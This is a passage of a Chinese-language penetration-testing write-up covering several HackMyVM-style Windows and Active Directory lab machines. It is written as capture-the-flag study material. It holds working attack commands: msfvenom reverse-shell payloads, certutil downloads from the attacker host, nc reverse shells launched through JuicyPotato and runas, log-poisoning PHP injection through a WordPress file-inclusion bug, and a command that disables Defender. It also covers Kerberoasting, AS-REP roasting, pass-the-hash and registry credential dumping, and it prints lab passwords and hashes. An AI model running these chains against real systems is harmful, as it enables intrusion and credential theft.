4)别忘了更改用户“always”的密码。当前密码是“WW91Q2FudEZpbmRNZS4hLiE=”。
又得到一个密码
always:YouCantFindMe.!.!

7.3 远程登录

发现密码不对,我们来使用hydra来爆破rdp协议

使用enum4linux枚举,看到支持的smb协议,为1.0和2.0/2.1,3.0以上均不支持,让我联想到了永痕之蓝漏洞(MS17-010)
enum4linux-ng -A 10.10.10.161 -C

含义:-A 是 --all 的缩写,表示执行全量信息收集,包含以下枚举内容:
-
主机基础信息(主机名、工作组 / 域、MAC 地址);
-
SMB 协议支持情况(支持的 SMB 版本、签名配置);
-
用户和组列表(本地用户、域用户、内置组等);
-
共享目录(可访问的 SMB 共享及权限);
-
操作系统版本(通过 RPC 或 SMB 信息推断);
-
服务、打印机、系统策略等其他信息。
7.4 永痕之蓝
利用,很遗憾利用失败

利用nxc枚举这两个账号密码
always:YouCantFindMe.!.!
ftpuser:KeepGoingBro!!!

看到ftpuser用户,尝试登录,也不让远程登录

7.5 近源攻击
这里没找到其他方法,直接登录靶机上传shell吧(近源攻击),这里还需要注意,就是需要修改一下语言为美国的,不然登录不进去

7.6 Msf获取反向shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.137 LPORT=4444 -f exe -o shell.exe
certutil -urlcache -split -f http://10.10.10.137:8000/shell.exe c:\1.exe

msf上线
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.137
set lport 4444
run

7.6 MSF内核漏扫
use multi/recon/local_exploit_suggester

使用第一个模块,设置第一个会话,并进行提权

8、HackMyVm-Runas :简单
8.1 信息打点
首先进行全端口扫描

端口详细信息

探测时使用guest账户即可获取信息,说明 SMB 可能允许匿名访问或 guest 权限过高。

可以使用smbclient进行匿名登录试试,登录成功!但是没有任何东西

ms17-010

使用目录扫描、nothing

8.2 文件包含利用
来到首页点进来index.php发现需要我们传一个file参数,大概率就是文件包含了

尝试包含index.php没有效果

利用burp进行批量文件包含,字典网上随便找几个

筛选内容

可以看到这里有一段密文

runas-b3a805b2594befb6c846d718d1224557
yakuzza
解密网站

8.3 远程连接
有了账号密码,登录口在哪?看了看之前的端口扫描结果是没有3389端口的,但是现在又有了。。。。。(中途换了换网,ip变成了10.10.10.168)

可能是我疏忽了吧,快点来连,搞不好等一下又关了

8.4 创建反向shell

windows下载马
certutil.exe -urlcache -split -f http://10.10.10.137:8000/shell.exe
msf注意监听,同时执行windows机器上的马
msfconsole
use multi/handler
set lhost 10.10.10.137
set payload windows/meterpreter/reverse_tcp
run

8.5 MSF内核提权

全部失败。。。
8.6 WinPEAS提权
在windows中下载下来,并执行,发现一个最新的漏洞补丁没有打
certutil.exe -urlcache -split -f http://10.10.10.137:8000/winPEAS.bat
./winPEAS.bat

使用searchsploit检索exp

在windwos中的VS打开,打包成exe

放上去执行的时候没有任何回显,失败了

8.7 土豆提权
后面又试过好几种方法,土豆提权,提权失败
certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET2.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET35.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET4.exe
GodPotato-NET2.exe -cmd "cmd /c whoami"
GodPotato-NET35.exe -cmd "cmd /c whoami"
GodPotato-NET4.exe -cmd "cmd /c whoami"

8.8 JuicyPotato提权
烂土豆提权
certutil.exe -urlcache -split -f http://10.10.10.137:8000/JuicyPotato.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/CLSID/Windows_7_Enterprise/CLSID.list
certutil.exe -urlcache -split -f http://10.10.10.137:8000/juicy-potato/Test/test_clsid.bat

JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\runas\nc.exe 10.10.10.137 4444 -e c:\windows\system32\cmd.exe" -t *

执行成功了,但是不能执行命令,提权失败

8.9 runas提权
在网上找到了这个,使用runas提权
https://www.cnblogs.com/kqdssheng/p/18751119

在上面这个图片中,可以看到本地管理员账户的凭据已存储在凭据管理器中,并且当前用户是runas!
当前的 runas 用户能列出 RUNAS-PC\Administrator 的缓存凭据,具备利用这些凭据实现本地提权的条件
Domain:interactive=RUNAS-PC\Administrator 是 “交互式登录的管理员凭据缓存”,意味着系统之前保存过 Administrator 的登录信息(比如用户曾用 Administrator 登录,或通过 runas /savecred 保存过凭据)。
虽然无法直接看到明文密码,但 Windows 允许 “在缓存凭据存在时,以该用户身份执行程序”—— 这是提权的关键:
8.10 两种具体提权方法
使用下面的命令启动一个cmd
runas /savecred /user:RUNAS-PC\Administrator "cmd.exe"

此时你执行完这条命令目标机器就会弹出一个cmd窗口,此时你执行命令的时候就是administrator超级管理员,那么我们是不是能够通过上面这条命令执行一个木马,或者nc,来反弹这个shell到kali上?

来试试,提权成功!
certutil.exe -urlcache -split -f http://10.10.10.137:8000/nc.exe # 从kali中下载nc
runas /savecred /user:Administrator "C:\Users\runas\nc.exe 10.10.10.169 4444 -e cmd.exe"

8.11 msf内核扫描
提升至系统权限可以使用winPACE.exe进行信息收集,在尝试过各种admin提权到系统权限的方式比如
multi/recon/local_exploit_suggester
MS17-017
exploit/windows/local/ms16_075_reflection
烂土豆提权
土豆提权
多土豆汁提权等等
MS16-032

最终测试出来windows/local/service_permissions 能够成功提权到system权限, Windows服务权限配置错误漏洞。

8.13 抓取明文密码
上传mimikatz,获取明文密码!!
certutil.exe -urlcache -split -f http://10.10.10.169:8000/mimikatz.exe

9、TriplAdvisor :简单
9.1 信息打点
nmap -sS 192.168.53.243 -p- -T4

发现有一个http的域名解析,需要我们在hosts文件中添加好相关的信息
nmap -sS 192.168.53.243 -p 445,5985,8080 -T4 -A

打开windows的hosts文件,添加如下信息
C:\Windows\System32\drivers\etc\hosts

kali攻击机器中也不能忘了(方便渗透测试,windows中添加只是为了访问,当然也可以配置代理到kali)
echo "192.168.53.243 tripladvisor" >> /etc/hosts

打开信息收集插件,发现这是一个wordpress内容管理系统

wpscan进行可能的用户,后台密码爆破
wpscan --url http://tripladvisor:8080/wordpress/ -e u -P /usr/share/wordlists/fasttrack.txt

wordpress版本信息已经被扫描出来了

再使用详细扫描,发现一个插件
wpscan --url http://tripladvisor:8080/wordpress/

9.2 漏洞利用
漏洞检索
searchsploit editor 1.1 wordpress
searchsploit -m 44340

漏洞信息
┌──(root㉿kali)-[/data/demo]
└─# cat 44340.txt
Product: Site Editor WordPress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422
** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.
Vulnerable code:
if( isset( $_REQUEST[‘ajax_path’] ) && is_file( $_REQUEST[‘ajax_path’] ) && file_exists( $_REQUEST[‘ajax_path’] ) ){
require_once $_REQUEST[‘ajax_path’];
}
https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5
By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
** Solution **
No fix available yet.
** Timeline **
03/01/2018: author contacted through siteeditor.org’s contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us “another” e-mail
19/01/2018: report sent; author says he will fix this issue “very soon”
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure
** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).
—
Best Regards,
Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)
存在文件包含漏洞,根据上面的url进行修改
http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

因为这是windows系统,不存在/etc/passwd,那么怎么快速判断文件是否存在?
字典
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
打开bp

这里我们上传不了文件(没有账号密码),所以只能包含日志文件
c:/xampp/apache/logs/access.log

9.3 反弹shell
使用curl写入日志,并包含日志文件,尝试获取命令执行结果,结果能正常执行命令
┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl -A "<?php system('ipconfig /all');?>" http://tripladvisor:8080/wordpress/
┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=c:/xampp/apache/logs/access.log"

根据前面传msf马上去的经验,这里就传个nc吧
curl -A "<?php system('certutil.exe -urlcache -split -f http://192.168.53.51:8000/nc.exe');?>" http://tripladvisor:8080/wordpress/
curl -A "<?php system('nc.exe 192.168.53.51 1234 -e cmd');?>" http://tripladvisor:8080/wordpress/
curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"

切换到当前用户的文件夹,可以看到第一个flag

将这个shell利用nc传到msf中,进行本地漏扫(试一试,说不定就出来了呢,虽然它只在meterpreter后渗透模块中生效)
nc.exe 192.168.53.51 1234 -e cmd

9.4 msf内核漏扫
msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)
# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行
use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块,估计这里没效果,目前测试只有meterpreter模块反弹的shell能用
set session 1 # 设置反弹成功的会话id为1,使用 sessions 即可查看所有的会话id

9.5 土豆提权
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET2.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET35.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET4.exe

失败
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET35.exe -cmd "cmd /c whoami"
.\GodPotato-NET2.exe -cmd "cmd /c whoami"

9.6 JuicyPotato提权
certutil.exe -urlcache -split -f http://192.168.53.51:8000/JuicyPotato.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list
https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list
然后用这个工具测试
certutil.exe -urlcache -split -f http://192.168.53.51:8000/juicy-potato/Test/test_clsid.bat


此时你的靶机上应该要有这三个文件

此时验证一下,能否正常访问administrotar的文件,结果为拒绝访问(因为靶机限制了我不能使用whoami,所以只能这样验证)

回到目录,执行此文件

随便选择一个系统权限的clsid

最终提权命令如下,kali记得开nc
JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes\nc.exe 192.168.53.51 4444 -e cmd.exe" -t *

此时就可以访问管理员的文件了

10、HackMyVm-DC01 :简单
10.1 信息打点
nmap -sS 192.168.53.26 -p- -T4 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

漏洞扫描
nmap -sS 192.168.53.26 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49707,49783 -T4 --script=vuln

使用新版enum4linux枚举系统的全部信息
enum4linux-ng -A 192.168.53.26 -C

10.2 SMB无密登录
列出来smb共享文件夹

可以匿名登录的共享目录中都没有文件,只能继续信息收集

从上面enum4linux-ng枚举结果显示除了SMB服务,还有LDAP以及LDAPS(加密传输,类似于https)服务可达,运行在389/636端口
LDAP 是域内 “用户 / 组 / 计算机信息的数据库”,后续有账号就能查域内核心信息(如用户列表、管理员组)。

Appears to be root/parent DC:目标可能是”主域控制器“,也就是域控,完整的域名为:SOUPEDECODE.LOCAL
域控制器(DC)是域的 “核心”,存储所有域信息(账号、权限、计算机),拿下它就等于控制整个域
后续 LDAP 查询(如 ldapsearch)要写 -b "dc=SOUPEDECODE,dc=LOCAL",Kerberos 攻击要指定 -d SOUPEDECODE.LOCAL,没有这个域名,大部分域操作都无法执行。

域的 “短域名” 是 SOUPEDECODE(完整域名是 SOUPEDECODE.LOCAL,短域名是简化版)
后续登录域账号时可用短域名(如 SOUPEDECODE\admin)或完整域名(如 admin@SOUPEDECODE.LOCAL),两种格式都支持,短域名更简洁。
其中- SOUPEDECODE <1c> - <GROUP> B <ACTIVE> Domain Controllers代表着 DC01 属于 “域控制器组”,进一步验证它是域控制器,不是普通域内主机。
刚刚提到了,使用LDAP查询(如ldapsearch)需要增加一个参数 -b,Kerberos 攻击要指定 -d SOUPEDECODE.LOCAL
10.3 ldapsearch
那么利用ldapsearch的完整命令就如下
ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b "dc=SOUPEDECODE,dc=LOCAL" -s base "(objectclass=user)"

上面的代码是什么意思呢?其核心”匿名访问被拒绝“
各个参数解释如下
-
连接
192.168.53.26这台 LDAP 服务器(域控制器); -
用 匿名方式 访问(
-D '' -w ''表示空用户名、空密码); -
查询
dc=SOUPEDECODE,dc=LOCAL这个节点(域的核心数据节点,存储用户、组等信息); -
只查该节点本身(
-s base),且只找 “用户类型” 的对象((objectclass=user))。
为什么报错了?
text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
翻译过来是:“要执行这个操作,必须先在连接上完成‘成功的绑定’(即提供有效的账号密码进行身份验证)”
我们想访问的 dc=SOUPEDECODE,dc=LOCAL 节点是域的 “敏感数据区”(存着用户账号、权限等核心信息),域控制器为了安全,禁止匿名用户访问这个区域,必须用 “合法的域账号” 登录后才能查询。
如果不加这个-b参数呢,把它去掉,这样就成功了
ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b '' -s base "(objectclass=user)"

这段 ldapsearch 结果包含了 域控制器(192.168.53.26)的核心架构信息
我们之前执行的命令指定 -b "dc=SOUPEDECODE,dc=LOCAL",默认查的是 LDAP 的 “根节点”(-b ""):
-
根节点只存域的基础架构信息(如域名、支持的协议),不包含敏感数据,所以允许匿名访问,命令能成功;
-
而之前指定的
dc=SOUPEDECODE,dc=LOCAL是 “核心数据节点”,匿名访问被拒绝,所以报错。
这次查询返回的是 LDAP 根节点的配置信息,本质是域控制器 “公开可见的基础架构数据”,包含 5 类关键内容:
-
域的命名结构(域名、目录节点路径);
-
域功能级别(操作系统版本版本);
-
支持的协议和认证机制;
-
域控制器的身份标识标识(主机名、角色);
-
LDAP 服务的配置限制(如最大连接数、查询超时)。
10.4 匿名枚举用户的SID
解释那么多,渗透到目前收集到的信息,本质就是没有账号密码,获取账号密码可以利用lookupsid
find / -name lookupsid* 2>/dev/null

lookupsid.py 是 Impacket 工具集中的 SID 枚举工具,核心作用是通过 SMB/LDAP 协议查询目标系统的 安全标识符(SID)及其对应账号 / 组信息,在域渗透中常用于 “匿名 / 低权限枚举域内关键账号(如管理员)”,下面枚举soupedecode.local这个域的SID信息,并使用匿名账号和空密码(-no-pass)登录(部分域会禁用匿名登录,这里是一个突破点)
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/anonymous@192.168.53.26 -no-pass

为什么能列举出来SID?
lookupsid.py,通过匿名访问这个域(工具连接域控制器后,会先查询 “域本身的 SID”),通过枚举rid(sid最后一部分),再拼接完整的sid,工具把每个 “完整 SID” 发给域控制器,调用它的 LsaLookupSids2 接口(就像查字典),问:“这个 SID 对应哪个账号?”,这样工具就会返回给你对应的账号信息
# 筛选 SidTypeUser 行 → 提取账号名(去掉 SOUPEDECODE\) → 去重 → 保存到 target_users.txt,AI一下就行
grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

10.5 nxc内网渗透
nxc内网渗透神器,进行SMB爆破,但是这里我们是用户和密码都不知道,相当于burpsuite中的集群炸弹攻击,为了减少攻击次数,我们可以使用相同的账号密码,进行攻击,也就是burpsuite中的Pitchfork攻击

所以命令如下
nxc smb 192.168.53.26 -u target_users.txt -p target_users.txt --no-bruteforce --continue-on-success

找到ybob317:ybob317账号密码,继续接下来的渗透,smb登录,照样也没有任何东西

换一个USERS,这里面有东西,我们去看看,全部下载下来

尝试上传一个文件shell,禁止上传

将全部的文件都下载下来
recurse ON
prompt OFF
mget *

在ybob317中找到了flag

10.6 kerberos攻击
服务器上开启了kerberos服务

如果目标是 域控制器(DC)(如你之前枚举的 DC01.SOUPEDECODE.LOCAL),则 一定开启了 Kerberos 服务,因为:
1、Kerberos 是 Windows 域环境的核心认证协议,用于域内账号登录、服务访问等身份验证;
2、域控制器作为 Kerberos 的 “密钥分发中心(KDC)”,必须运行 Kerberos 服务(kdc.exe 进程),否则域功能无法正常工作。
impacket-GetUserSPNs -request -dc-ip 192.168.53.26 SOUPEDECODE.LOCAL/ybob317:ybob317
通过域用户 ybob317 的凭证,向域控制器(IP:192.168.53.26)查询域内所有关联了 SPN 的用户,并强制请求并获取这些用户的 TGS 票据(Ticket-Granting Service),最终可用于破解用户密码(利用 hashcat 等工具爆破 TGS 票据哈希)。

同步时间
ntpdate 192.168.53.26

将这些内容全部复制到一个名叫”hash“文件中,使用hashcat攻击,爆破出来file_svc用户的密码为Password123!!
hashcat -a 0 -m 13100 hash /usr/share/wordlists/rockyou.txt

使用smbclient登录
smbclient //192.168.53.26/backup -U file_svc
Password123!!
get backup_extract.txt
exit

随后使用awk进行筛选
awk -F '[:]' '{print $4}' backup_extract.txt > ntml.txt

nxc smb 192.168.53.26 -u target_users.txt -H ntml.txt
最终账号密码如下
FileServer$ :e41da7e79a4c76dbd9cf79d1cb325559

10.7 远程连接
evil-winrm -i 192.168.53.26 -u "FileServer$" -H "e41da7e79a4c76dbd9cf79d1cb325559"

至此已经拿到了管理员权限,和最后的flag,据说在域中administrator就是系统权限
10.8 获取system权限
后续如果有兴趣的是否可以利用这个管理员权限提升至系统权限,默认的cmd下载命令不能用,只能用powershell,命令如下
Invoke-WebRequest -Uri "http://192.168.53.141:8000/PrivescCheck.ps1" -OutFile "PrivescCheck.ps1"
Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck
Set-MpPreference -DisableRealtimeMonitoring $true # 关闭杀软
Invoke-WebRequest -Uri "http://192.168.53.141:8000/shell.exe" -OutFile "shell.exe"
./shell.exe # msf生成的马
可以看到是能正常上线的

扫描出来两个提权漏洞,第二个不能用

可以使用第一个,但是没有创建成功会话,由于桥接模式老是自动换ip,就不继续了,另外使用mimikatz.exe也不能正常执行,x86和x64都试过了,后续有做出来的师傅,欢迎添加我好友,一起讨论 + baibaixiaoyu2024
exploit/windows/local/ms16_032_secondary_logon_handle_privesc

12、HackMyVm-DC02 :中等
中途可能会切换好几次IP,但是都是同一个靶机,我自己网络不稳定,或者机器环境有问题,重装导致的,不用管IP的变化
12.1 端口扫描
这里使用nmap进行全端口扫描,识别目标开放的服务和操作系统信息
nmap -sS -p- -T4 192.168.219.240 -A
端口53:DNS服务,用于域名解析
端口88:Kerberos认证,域用户登录验证
端口139/445:SMB文件共享服务
端口389:LDAP目录服务,存储用户信息
端口636:安全的LDAP
端口5985:WinRM远程管理
这些端口组合表明这是一个域控制器!

12.2 enum4linux枚举
使用enum4linux-ng通过 LDAP/SMB/RPC 等协议枚举目标系统信息(是enum4linux的升级版,现在有社区维护,老版已不再维护)
enum4linux-ng -A 192.168.219.240 -C
工具作用:通过 SMB/LDAP/RPC 等协议自动枚举 Windows 域环境信息

12.3 尝试使用匿名登录
目的:检查是否允许匿名访问SMB共享 结果:需要认证,匿名访问被拒绝
smbclient -L //192.168.219.227/ -N

12.4 kerberos 用户名枚举
字典使用的是seclist,总共发现了3个用户,admin / zximena448 / charlie
kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt --dc 192.168.219.227
kerbrute:一款用于Kerberos用户枚举和密码爆破的工具。
userenum:用户枚举模式。
-d SOUPEDECODE.LOCAL:指定域名。
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt:用户名字典路径。
--dc 192.168.219.240:指定域控制器的IP地址。

12.5 爆破 kerberos 协议
爆破kerberos 协议的时候,需要同步时间(Kerberos要求时间偏差在5分钟内)
ntpdate 192.168.219.227 # 将本地时间与目标域控制器同步
kerbrute bruteuser --dc 192.168.219.227 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt charlie -v
# 参数解析
bruteuser:针对单个用户进行密码爆破
--dc 192.168.219.240:域控制器IP
-d SOUPEDECODE.LOCAL:域名
/usr/share/...usernames-dup.txt:密码字典(这里误用了用户名字典,应该用密码字典)
charlie:目标用户名
-v:详细输出模式

如果不同步时间就会出现如下结果
为什么需要同步时间?Kerberos 认证流程中,客户端向 KDC(域控制器)请求票据(如 AS-REQ)时,会在请求中包含当前时间戳,KDC 收到请求后会:检查客户端时间戳与自身系统时间的偏差是否在允许范围内(默认通常为 5 分钟,由域策略
Maximum tolerance for computer clock synchronization控制)。若偏差超过阈值,KDC 会直接拒绝请求,返回错误KDC_ERR_CLOCK_SKEW_TOO_GREAT(时钟偏差过大)。

有了账号密码charlie/charlie,登录smb服务

使用evil-winrm远程连接服务器(类似于3389端口的rdp远程连接),这个服务运行在5985端口
evil-winrm -i 192.168.219.227 -u charlie -p charlie

12.6 查询域内SPN关联用户
有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果
impacket-GetUserSPNs -request -dc-ip 192.168.219.227 SOUPEDECODE.LOCAL/charlie:charlie

12.7 枚举域内用户SID
再由于目标域不支持匿名登录(包括smb)所以不能使用-no-pass参数来枚举这个域的SID
核心作用是通过 SMB/LDAP 协议查询目标系统的SID SMB/LDAP 及其账号和组信息
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 -no-pass

SID遍历,枚举域内用户,使用账号密码charlie:charlie(看看charlie这个用户有没有权限查看SID)
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240

正常枚举域内用户信息,把它归纳成一个字典
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 > user
# 将枚举出来的用户都筛选出来,去掉多余字符
grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

12.8 获取不需要预认证用户的AS-REP哈希
正常情况下,银行(KDC)会强制要求你提供 “加密时间戳”(预认证)才给你凭证 —— 但如果某个用户的 “银行卡设置” 里,把 “必须要预认证” 这个选项关了(域用户未启用 Kerberos 预认证),会发生什么?
→ 你不用提供 “加密时间戳”,只要报出 “身份证号”(用户名),银行就直接把 “加密的取钱凭证”(AS-REP 票据)给你了!
→ 拿到这张凭证(AS-REP 哈希)后,你就可以拿回家 “慢慢试密码”(用 hashcat/john 爆破)—— 反正凭证是加密的,试错不会被银行发现(不会触发账号锁定)。
这就是为什么要找 “不需要预认证的用户”:能无风险、无凭证地拿到他的 AS-REP 哈希,进而破解出明文密码。
impacket-GetNPUsers -dc-ip 192.168.219.240 soupedecode.local/ -usersfile target_users.txt > hash

12.9 AS-REP哈希爆破
使用hashcat爆破不需要预认证的AS-REP哈希结果
hashcat -a 0 -m 18200 res.txt /usr/share/wordlists/rockyou.txt

提示,设备 #1:此次攻击所需的可分配设备内存不足,切换爆破工具john

得到密码internet,那么配合前面的账号密码就是zximena448 :internet ,再次远程连接
evil-winrm -i 192.168.219.240 -u zximena448 -p internet

使用smbclient连接smb服务,查看有什么东西
smbclient -L //192.168.219.240/ -U zximena448

使用这个用户连接C$这个smb共享文件夹

再连接ADMIN$这个共享文件夹,也能连接(不过没有发现什么可用的文件)

在C$共享文件夹中找到flag

用 zximena448 账号查询域内用户信息,获取高权限账号(如 Administrator)的线索。
12.10 收集 LDAP 信息
目的:获取域内用户列表、权限分组(如 Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如 Administrator)。
必要性:没有域内用户信息,后续攻击会盲目尝试,效率极低。
前提:拥有至少一个有效的域内用户凭证(如 zximena448:internet),且域控的 LDAP 端口(389)开放。
原理:域内普通用户默认有权限查询 LDAP 目录的基础信息。
命令如下
ldapsearch -x -H ldap://192.168.219.240 -D "zximena448@SOUPEDECODE.LOCAL" -w 'internet' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=zximena448" memberOf > ldap_result.txt

-x |
使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。 |
|---|---|
-H ldap://192.168.215.25 |
指定 LDAP 服务器地址(这里是域控的 IP)。 |
-D "zximena448@SOUPEDECODE.LOCAL" |
绑定的用户 DN(用户名),即使用 zximena448 的凭证登录 LDAP。 |
-w 'jesuschrist' |
绑定用户的密码(zximena448 的密码)。 |
-b 'DC=SOUPEDECODE,DC=LOCAL' |
查询的基准 DN(域的根目录),即从整个域范围查询。 |
"sAMAccountName=zximena448" |
过滤条件:只查询 sAMAccountName 为 zximena448 的用户(精准定位自身)。 |
memberOf |
只返回该用户的 memberOf 字段(即所属的组)。 |
> ldap_result.txt |
将结果输出到文件,方便查看。 |
发现zximena448 属于 Backup Operators 组,Backup Operators 是 Windows 域内置的特权组,默认被赋予了 “备份 / 恢复域控系统数据” 的核心权限,而 “备份数据” 的权限恰好覆盖了域控的敏感文件(如存储账号哈希的 NTDS.dit、注册表 SAM/SYSTEM 等)。
攻击方式:
在 Kali 上启动 SMB 服务,用于接收从目标机器导出的敏感文件(如注册表备份)。
impacket-smbserver -smb2support "share" .
前提:Kali 的 SMB 端口(445)未被占用,且目标域控能访问 Kali 的 IP(网络连通性)。
原理:通过 SMB 协议实现文件共享,方便接收从目标导出的备份文件。

12.11 导出注册表备份文件
通过 impacket-reg 从域控(192.168.219.240)导出 SYSTEM/SAM/SECURITY 注册表文件(含加密的凭证信息)。
impacket-reg "soupedecode.local"/"zximena448":"internet"@"192.168.219.240" backup -o '\\192.168.219.37\share'
前提:拥有的域用户(zximena448)需具备读取域控注册表的权限(普通用户可能无此权限,此处可能因目标配置宽松成功)。
原理:通过远程注册表服务导出系统关键注册表文件。

此时smb服务的回显,备份文件,从域控服务器中传过来成功
搭建 SMB 共享 + 导出注册表备份
目的:SYSTEM/SAM/SECURITY 注册表文件存储了系统加密的凭证(用户哈希、机器账户哈希等),导出后可离线解密。
必要性:直接在域控上提取哈希可能触发告警,通过备份文件离线处理更隐蔽。

就能看到开启smb共享文件夹的路径下面多了几个文件

12.12 用 secretsdump.py 解密备份文件
提取本地管理员哈希和机器账户(DC01$)哈希。
目的:从备份文件中提取可直接用于攻击的哈希值(如 DC01$ 机器账户哈希、本地管理员哈希)。
必要性:原始注册表文件是加密的,必须用 secretsdump 结合 bootKey 解密才能得到可用的哈希。
python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local

前提:获取 SYSTEM/SAM/SECURITY 备份文件(本地解密),或拥有目标机器的管理员权限 / 机器账户哈希(远程导出)。
原理:利用 Windows 的加密机制,通过 bootKey 解密哈希存储区。
┌──(root㉿kali)-[/data/demo]
└─# python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:45820dc9be5c067950d71e306d3d14084a9a8a3f8e99d7c1f6074080bec85f7c2645011e654397553bc7cad19277e361caaee722709bdaf3bbcbd9f2d0c73b8cf27651387c664ede1f3f7d6845f7d14293fdbcda34eb89d5c665de89860a23833a531ee43e6841b586896e6dbef6ac4e16196af3c6e2070ca148d032697b02bca95820d079296377ba4df3c4201dd419d89b9357bf470139b53d31761452e0f94ae9273a16c3d43ae2404740b5ac085992a092187c1fc6a59d5edb24e8cd8aae2575639cadc4cc18c7c5e5e07f5bf06a6154bb92a1dbcbf00f5b6b3171cd5df73121e0afca158f50df3f3db64c9dad11
